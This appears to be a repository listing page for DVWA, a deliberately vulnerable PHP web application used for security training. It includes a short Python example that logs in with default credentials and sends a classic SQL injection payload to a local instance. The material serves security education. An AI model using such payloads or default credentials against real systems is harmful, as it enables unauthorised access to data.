DVWA: Deliberately vulnerable web application for security training
PHP/MariaDB training platform for web security exploitation practice.
Learn more about DVWA
DVWA is a PHP-based web application backed by MariaDB that contains documented and undocumented security vulnerabilities across multiple difficulty levels. The application runs on standard web server stacks like XAMPP and is designed to be deployed in isolated environments such as virtual machines with NAT networking. It implements common web vulnerabilities including SQL injection, cross-site scripting, authentication bypass, and other OWASP-related issues with adjustable complexity settings. The tool serves as a practice platform for security professionals, developers learning secure coding practices, and students in classroom settings studying web application security.
Adjustable Difficulty Levels
Vulnerabilities scale across multiple difficulty settings from low to high complexity. Enables progressive learning paths for beginners through advanced security practitioners without requiring separate environments.
Undocumented Vulnerability Discovery
Contains intentional security flaws beyond the documented exercises, requiring active reconnaissance and analysis. Simulates real-world penetration testing scenarios where not all vulnerabilities are explicitly cataloged.
Isolated Deployment Model
Architected exclusively for VM-based isolated environments with explicit network isolation requirements. Prevents accidental internet exposure of vulnerable code through clear deployment constraints and security warnings.
import requests
# Test SQL injection vulnerability (low security)
session = requests.Session()
login_data = {'username': 'admin', 'password': 'password', 'Login': 'Login'}
session.post('http://localhost/DVWA/login.php', data=login_data)
# Exploit SQLi to extract data
payload = "1' OR '1'='1"
response = session.get('http://localhost/DVWA/vulnerabilities/sqli/', params={'id': payload, 'Submit': 'Submit'})
print(response.text)Related Repositories
Discover similar tools and frameworks used by developers
DOMPurify
DOM-based XSS sanitizer using native browser parsing.
Mobile-Security-Framework-MobSF
Automated pen-testing for Android, iOS, and Windows applications.
PentestGPT
AI-assisted Python framework for automated security testing.
Subfinder
Passive subdomain discovery via DNS resolution and validation.
Semgrep
Pattern-based code scanner for 30+ languages.